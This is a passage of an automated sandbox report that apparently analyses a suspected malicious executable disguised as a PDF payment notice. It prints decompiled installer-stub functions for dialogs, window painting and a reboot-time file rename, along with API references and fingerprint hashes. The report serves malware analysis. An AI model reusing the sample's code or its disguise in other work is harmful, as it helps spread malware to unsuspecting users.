							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, 0, E00406154(0, _t327, _t331, 0, _t272)), _t327);
						}
						_t327 = _t327 + 1;
					} while (_t327 < 0x21);
					_t328 = _a16;
					_push( *((intOrPtr*)(_t328 + 0x30 + _v20 * 4)));
					_push(0x15);
					E00404145(_a4);
					_push( *((intOrPtr*)(_t328 + 0x34 + _v20 * 4)));
					_push(0x16);
					E00404145(_a4);
					_t329 = 0;
					_v16 = 0;
					if( *0x42476c <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t316 = _v24 + 8;
						_v32 = _t316;
						do {
							_t284 =  &(_t316[0x10]);
							if( *_t284 != 0) {
								_v64 = _t284;
								_t285 =  *_t316;
								_v88 = _v16;
								_t308 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t308;
								_v44 = _t329;
								_v72 = _t285 & _t308;
								if((_t285 & 0x00000002) == 0) {
									if((_t285 & 0x00000004) == 0) {
										_t287 = SendMessageA(_v8, 0x1100, 0,  &_v88);
										_t309 =  *0x420d20; // 0x0
										 *(_t309 + _t329 * 4) = _t287;
									} else {
										_v16 = SendMessageA(_v8, 0x110a, "true", _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t290 = SendMessageA(_v8, 0x1100, 0,  &_v88);
									_t310 =  *0x420d20; // 0x0
									_v36 = 1;
									 *(_t310 + _t329 * 4) = _t290;
									_t291 =  *0x420d20; // 0x0
									_v16 =  *(_t291 + _t329 * 4);
								}
							}
							_t329 = _t329 + 1;
							_t316 =  &(_v32[0x418]);
							_v32 = _t316;
						} while (_t329 <  *0x42476c);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E0040417A(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, "true");
								E0040417A(_v12);
								L93:
								return E004041AC(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404b68
0x00404b70
0x00404b78
0x00404b7e
0x00404b96
0x00404b99
0x00404b9a
0x00404dc7
0x00404dce
0x00404de2
0x00404dd0
0x00404dd2
0x00404dd5
0x00404dd6
0x00404ddd
0x00404ddd
0x00404dee
0x00404dfc
0x00404dff
0x00404e15
0x00404e8a
0x00404e8d
0x00404e8f
0x00404e99
0x00404ea7
0x00404ea7
0x00404ea9
0x00404eb3
0x00404eb9
0x00404ebc
0x00404ebf
0x00404eda
0x00404ec1
0x00404ecb
0x00404ecb
0x00404ebf
0x00404eb3
0x00000000
0x00404e8d
0x00404e1a
0x00404e25
0x00404e2a
0x00404e31
0x00404e36
0x00404e3a
0x00404e45
0x00404e49
0x00404e4d
0x00404e51
0x00404e64
0x00404e53
0x00404e53
0x00404e5a
0x00404e60
0x00404e5c
0x00404e5c
0x00404e5c
0x00404e5a
0x00404e68
0x00404e6a
0x00404e7d
0x00404e80
0x00404e83
0x00404e83
0x00404e4d
0x00000000
0x00404e3a
0x00404e1c
0x00404e23
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404edd
0x00404edd
0x00404ee4
0x00404f55
0x00404f5d
0x00404f65
0x00404f65
0x00404f6e
0x00404f70
0x00404f77
0x00404f7a
0x00404f7a
0x00404f80
0x00404f87
0x00404f8a
0x00404f8a
0x00404f90
0x00404f96
0x00404f9c
0x00404f9c
0x00404fa9
0x00405109
0x00405110
0x0040512d
0x00405133
0x00405145
0x00405145
0x00000000
0x00404faf
0x00404fb1
0x00404fb6
0x00404fbb
0x00404fc0
0x00404fc2
0x00404fc2
0x00404fc3
0x00404fc4
0x00404fc6
0x00404fc6
0x00404fce
0x0040500f
0x00405011
0x00405016
0x00405021
0x00405024
0x00405029
0x00405030
0x00405033
0x004050d5
0x004050dd
0x004050e5
0x004050e5
0x004050eb
0x004050f3
0x00405104
0x00405104
0x00000000
0x004050f3
0x00405039
0x0040503c
0x00405042
0x00405047
0x00405049
0x0040504b
0x00405051
0x00405058
0x0040505d
0x00405064
0x00405067
0x00405067
0x0040506e
0x0040507a
0x0040507e
0x00405080
0x00405080
0x00405070
0x00405070
0x00405072
0x00405072
0x004050a0
0x004050ac
0x004050bb
0x004050bb
0x004050bd
0x004050c0
0x004050c9
0x00000000
0x00404fd0
0x00404fdb
0x00404fde
0x00404fe3
0x00404fe5
0x00404fe9
0x00404ff9
0x00405003
0x00405005
0x00405008
0x00000000
0x00000000
0x00000000
0x00000000
0x00404feb
0x00404feb
0x00404ff1
0x00404ff3
0x00404ff3
0x00404ff4
0x00404ff5
0x00000000
0x00404feb
0x00404fce
0x00404fa9
0x00404eec
0x00000000
0x00404f02
0x00404f0c
0x00404f11
0x00000000
0x00000000
0x00404f23
0x00404f28
0x00404f34
0x00404f34
0x00404f36
0x00404f45
0x00404f47
0x00404f4b
0x00404f4e
0x00000000
0x00404f4e
0x00404eec
0x00404ba0
0x00404ba3
0x00404ba6
0x00404bb6
0x00404bc9
0x00404bd4
0x00404bda
0x00404be8
0x00404bfb
0x00404c00
0x00404c0b
0x00404c14
0x00404c2a
0x00404c3a
0x00404c46
0x00404c46
0x00404c4b
0x00404c51
0x00404c53
0x00404c56
0x00404c5b
0x00404c60
0x00404c62
0x00404c62
0x00404c82
0x00404c82
0x00404c84
0x00404c85
0x00404c8a
0x00404c90
0x00404c94
0x00404c99
0x00404ca1
0x00404ca5
0x00404caa
0x00404caf
0x00404cb7
0x00404cba
0x00404d89
0x00404d9c
0x00000000
0x00404cc0
0x00404cc3
0x00404cc6
0x00404cc9
0x00404cc9
0x00404cce
0x00404cd7
0x00404cda
0x00404cde
0x00404ce1
0x00404ce4
0x00404ced
0x00404cf6
0x00404cf9
0x00404cfc
0x00404cff
0x00404d3d
0x00404d60
0x00404d62
0x00404d68
0x00404d3f
0x00404d4e
0x00404d4e
0x00404d01
0x00404d04
0x00404d12
0x00404d1c
0x00404d1e
0x00404d24
0x00404d2b
0x00404d2e
0x00404d36
0x00404d36
0x00404cff
0x00404d6e
0x00404d6f
0x00404d7b
0x00404d7b
0x00404d87
0x00404da2
0x00404da5
0x00404dc2
0x00000000
0x00404da7
0x00404dac
0x00404db5
0x00405147
0x00405159
0x00405159
0x00404da5
0x00000000
0x00404d87
0x00404cba

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B61
GetDlgItem.USER32(?,00000408), ref: 00404B6E
GlobalAlloc.KERNEL32(00000040,?), ref: 00404BBD
LoadImageA.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404BD4
SetWindowLongA.USER32(?,000000FC,0040515C), ref: 00404BEE
ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000000), ref: 00404C00
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404C14
SendMessageA.USER32(?,00001109,?), ref: 00404C2A
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404C36
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404C46
DeleteObject.GDI32(00000110), ref: 00404C4B
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404C76
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404C82
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404D1C
SendMessageA.USER32(?,0000110A,?,00000110), ref: 00404D4C

Part of subcall function 0040417A: SendMessageA.USER32(00000028,?,?,00403FAA), ref: 00404188

SendMessageA.USER32(?,00001100,00000000,?), ref: 00404D60
GetWindowLongA.USER32(?,000000F0), ref: 00404D8E
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404D9C
ShowWindow.USER32(?,?), ref: 00404DAC
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404EA7
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404F0C
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404F21
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404F45
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404F65
ImageList_Destroy.COMCTL32(00000000), ref: 00404F7A
GlobalFree.KERNEL32(00000000), ref: 00404F8A
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00405003
SendMessageA.USER32(?,00001102,?,?), ref: 004050AC
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 004050BB
InvalidateRect.USER32(?,00000000,?), ref: 004050E5
ShowWindow.USER32(?,00000000), ref: 00405133
GetDlgItem.USER32(?,000003FE), ref: 0040513E
ShowWindow.USER32(00000000), ref: 00405145

Strings

M, xrefs: 00404D04
, xrefs: 0040511D
N, xrefs: 00404DE5

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 1a459b2235e76ded93f52b8fee7b25ea950b0cec3fc8c05872ff85bff8818f79
Instruction ID: 035ac8a7469eee7f523ea9a41678d20bac9593c5f5e0b875cc373c12e4cd4a79
Opcode Fuzzy Hash: 1a459b2235e76ded93f52b8fee7b25ea950b0cec3fc8c05872ff85bff8818f79
Instruction Fuzzy Hash: 63025DB0A00209AFDF209F94DD45AAE7BB5FB84354F50813AF610BA2E1D7799D42CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004042B0 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 202
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004042B0(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				intOrPtr _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t103;
				signed int _t106;
				intOrPtr _t107;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L11:
						__eflags = _a8 - 0x4e;
						if(_a8 != 0x4e) {
							__eflags = _a8 - 0x40b;
							if(_a8 == 0x40b) {
								 *0x41fcf4 =  *0x41fcf4 + 1;
								__eflags =  *0x41fcf4;
							}
							L25:
							_t110 = _a16;
							L26:
							return E004041AC(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						__eflags =  *((intOrPtr*)(_t110 + 8)) - 0x70b;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b) {
							__eflags =  *((intOrPtr*)(_t110 + 0xc)) - 0x201;
							if( *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
								_t100 =  *((intOrPtr*)(_t110 + 0x1c));
								_t109 =  *((intOrPtr*)(_t110 + 0x18));
								_v12 = _t100;
								__eflags = _t100 - _t109 - 0x800;
								_v16 = _t109;
								_v8 = 0x4236c0;
								if(_t100 - _t109 < 0x800) {
									SendMessageA(_t52, 0x44b, 0,  &_v16);
									SetCursor(LoadCursorA(0, 0x7f02));
									_push("true");
									E00404554(_a4, _v8);
									SetCursor(LoadCursorA(0, 0x7f00));
									_t110 = _a16;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t110 + 8)) - 0x700;
						if( *((intOrPtr*)(_t110 + 8)) != 0x700) {
							goto L26;
						} else {
							__eflags =  *((intOrPtr*)(_t110 + 0xc)) - 0x100;
							if( *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
								goto L26;
							}
							__eflags =  *((intOrPtr*)(_t110 + 0x10)) - 0xd;
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x424728, 0x111, "true", 0);
							}
							__eflags =  *((intOrPtr*)(_t110 + 0x10)) - 0x1b;
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x424728, 0x10, 0, 0);
							}
							return 1;
						}
					}
					__eflags = _a12 >> 0x10;
					if(_a12 >> 0x10 != 0) {
						goto L25;
					}
					__eflags =  *0x41fcf4; // 0x0
					if(__eflags != 0) {
						goto L25;
					}
					_t103 =  *0x420500; // 0x6ae664
					_t25 = _t103 + 0x14; // 0x6ae678
					_t112 = _t25;
					__eflags =  *_t112 & 0x00000020;
					if(( *_t112 & 0x00000020) == 0) {
						goto L25;
					}
					_t106 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
					__eflags = _t106;
					 *_t112 = _t106;
					E00404167(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
					E00404530();
					goto L11;
				} else {
					_t98 = _a16;
					_t113 =  *(_t98 + 0x30);
					if(_t113 < 0) {
						_t107 =  *0x423efc; // 0x6b03ef
						_t113 =  *(_t107 - 4 + _t113 * 4);
					}
					_push( *((intOrPtr*)(_t98 + 0x34)));
					_t114 = _t113 +  *0x424778;
					_push(0x22);
					_a16 =  *_t114;
					_v12 = _v12 & 0x00000000;
					_t115 = _t114 + 1;
					_v16 = _t115;
					_v8 = E0040427B;
					E00404145(_a4);
					_push( *((intOrPtr*)(_t98 + 0x38)));
					_push(0x23);
					E00404145(_a4);
					CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, "true");
					E00404167( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
					_t99 = GetDlgItem(_a4, 0x3e8);
					E0040417A(_t99);
					SendMessageA(_t99, 0x45b, "true", 0);
					_t86 =  *( *0x424734 + 0x68);
					if(_t86 < 0) {
						_t86 = GetSysColor( ~_t86);
					}
					SendMessageA(_t99, 0x443, 0, _t86);
					SendMessageA(_t99, 0x445, 0, 0x4010000);
					SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
					 *0x41fcf4 = 0;
					SendMessageA(_t99, 0x449, _a16,  &_v16);
					 *0x41fcf4 = 0;
					return 0;
				}
			}

0x004042c0
0x004043d2
0x004043e5
0x00404441
0x00404441
0x00404445
0x0040450b
0x00404512
0x00404514
0x00404514
0x00404514
0x0040451a
0x0040451a
0x0040451d
0x00000000
0x00404524
0x00404453
0x00404455
0x00404458
0x0040445f
0x00404461
0x00404468
0x0040446a
0x0040446d
0x00404470
0x00404475
0x0040447b
0x0040447e
0x00404485
0x00404493
0x004044ab
0x004044ad
0x004044b5
0x004044c4
0x004044c6
0x004044c6
0x00404485
0x00404468
0x004044c9
0x004044d0
0x00000000
0x004044d2
0x004044d2
0x004044d9
0x00000000
0x00000000
0x004044db
0x004044df
0x004044f0
0x004044f0
0x004044f2
0x004044f6
0x00404504
0x00404504
0x00000000
0x00404508
0x004044d0
0x004043ed
0x004043f0
0x00000000
0x00000000
0x004043f8
0x004043fe
0x00000000
0x00000000
0x00404404
0x0040440a
0x0040440a
0x0040440d
0x00404410
0x00000000
0x00000000
0x00404433
0x00404433
0x00404435
0x00404437
0x0040443c
0x00000000
0x004042c6
0x004042c6
0x004042c9
0x004042ce
0x004042d0
0x004042df
0x004042df
0x004042e6
0x004042e9
0x004042eb
0x004042f0
0x004042f9
0x004042ff
0x0040430b
0x0040430e
0x00404317
0x0040431c
0x0040431f
0x00404324
0x0040433b
0x00404342
0x00404355
0x00404358
0x0040436d
0x00404374
0x00404379
0x0040437e
0x0040437e
0x0040438d
0x0040439c
0x004043ae
0x004043b3
0x004043c3
0x004043c5
0x00000000
0x004043cb

APIs

CheckDlgButton.USER32(00000000,-0000040A,?), ref: 0040433B
GetDlgItem.USER32(00000000,000003E8), ref: 0040434F
SendMessageA.USER32(00000000,0000045B,?,00000000), ref: 0040436D
GetSysColor.USER32(?), ref: 0040437E
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 0040438D
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 0040439C
lstrlenA.KERNEL32(?), ref: 0040439F
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004043AE
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004043C3
GetDlgItem.USER32(?,0000040A), ref: 00404425
SendMessageA.USER32(00000000), ref: 00404428
GetDlgItem.USER32(?,000003E8), ref: 00404453
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404493
LoadCursorA.USER32(00000000,00007F02), ref: 004044A2
SetCursor.USER32(00000000), ref: 004044AB
LoadCursorA.USER32(00000000,00007F00), ref: 004044C1
SetCursor.USER32(00000000), ref: 004044C4
SendMessageA.USER32(00000111,?,00000000), ref: 004044F0
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404504

Strings

dj, xrefs: 00404404
Call, xrefs: 0040447E
N, xrefs: 00404441
{B@, xrefs: 004044AF

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N$dj${B@
API String ID: 3103080414-3236298647
Opcode ID: acb20318001dbc993e8a8a4388a34ea8f8254a099665a8e39094a0f64cc29e55
Instruction ID: c600905809f0113b99b24623cb0d1ad186d6442f8c09b0c76a4ffb62e5d10872
Opcode Fuzzy Hash: acb20318001dbc993e8a8a4388a34ea8f8254a099665a8e39094a0f64cc29e55
Instruction Fuzzy Hash: 5661C7B1A00209BFEB109F60CD45F6A7B69FB84714F10813AFB057A1D1C7B89951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x424734;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, "true");
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, 0x423f20, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x424728;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00423F20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 927d9f4f17401607196459c248a51bb8bdb5d1fd0febad51b1ec1e4e61243643
Instruction ID: f39fc87f540bacaa9a77f224585c2e26811c2c777a6195e868dd16c74e67a44d
Opcode Fuzzy Hash: 927d9f4f17401607196459c248a51bb8bdb5d1fd0febad51b1ec1e4e61243643
Instruction Fuzzy Hash: AA419D71800209AFCF058FA5DE459AF7FB9FF45315F00802AF591AA1A0CB34DA55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405D30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 129
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405D30(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				CHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x422ab8 = 0x4c554e;
				if(_t44 == 0) {
					L3:
					_t12 = GetShortPathNameA( *(_t52 + 0x1c), 0x422eb8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x4226b8, "%s=%s\r\n", 0x422ab8, 0x422eb8);
						_t53 = _t52 + 0x10;
						E00406154(_t37, 0x400, 0x422eb8, 0x422eb8,  *((intOrPtr*)( *0x424734 + 0x128)));
						_t12 = E00405C5A(0x422eb8, 0xc0000000, "true");
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E00405CD2(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405BBF(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405BBF(_t38, _t21 + 0xa, 0x40a3d8);
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405C15(_t24 + _t46, 0x4226b8, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E00405D01(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00405C5A(_t44, 0, "true"));
					_t12 = GetShortPathNameA(_t44, 0x422ab8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x00405d30
0x00405d39
0x00405d40
0x00405d54
0x00405d7c
0x00405d87
0x00405d8b
0x00405dab
0x00405db2
0x00405dbc
0x00405dc9
0x00405dce
0x00405dd3
0x00405dd7
0x00405de6
0x00405de8
0x00405df5
0x00405df9
0x00405e94
0x00000000
0x00405e0f
0x00405e1c
0x00405e40
0x00405e44
0x00405e63
0x00405e67
0x00405e67
0x00405e69
0x00405e72
0x00405e7d
0x00405e88
0x00405e8e
0x00000000
0x00405e8e
0x00405e46
0x00405e49
0x00405e54
0x00405e50
0x00405e52
0x00405e53
0x00405e53
0x00405e5b
0x00405e5d
0x00000000
0x00405e5d
0x00405e27
0x00405e2d
0x00000000
0x00405e2d
0x00405df9
0x00405dd7
0x00405d56
0x00405d61
0x00405d6a
0x00405d6e
0x00000000
0x00000000
0x00405d6e
0x00405e9f

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,00000000,00405EC1,?,?), ref: 00405D61
GetShortPathNameA.KERNEL32(?,00422AB8,00000400), ref: 00405D6A

Part of subcall function 00405BBF: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E1A,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BCF
Part of subcall function 00405BBF: lstrlenA.KERNEL32(00000000,?,00000000,00405E1A,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405C01

GetShortPathNameA.KERNEL32(?,00422EB8,00000400), ref: 00405D87
wsprintfA.USER32 ref: 00405DA5
GetFileSize.KERNEL32(00000000,00000000,00422EB8,C0000000,?,00422EB8,?,?,?,?,?), ref: 00405DE0
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405DEF
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E27
SetFilePointer.KERNEL32(0040A3D8,00000000,00000000,00000000,00000000,004226B8,00000000,-0000000A,0040A3D8,00000000,[Rename],00000000,00000000,00000000), ref: 00405E7D
GlobalFree.KERNEL32(00000000), ref: 00405E8E
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405E95

Part of subcall function 00405C5A: GetFileAttributesA.KERNELBASE(?,00402EE1,C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe,80000000,?), ref: 00405C5E
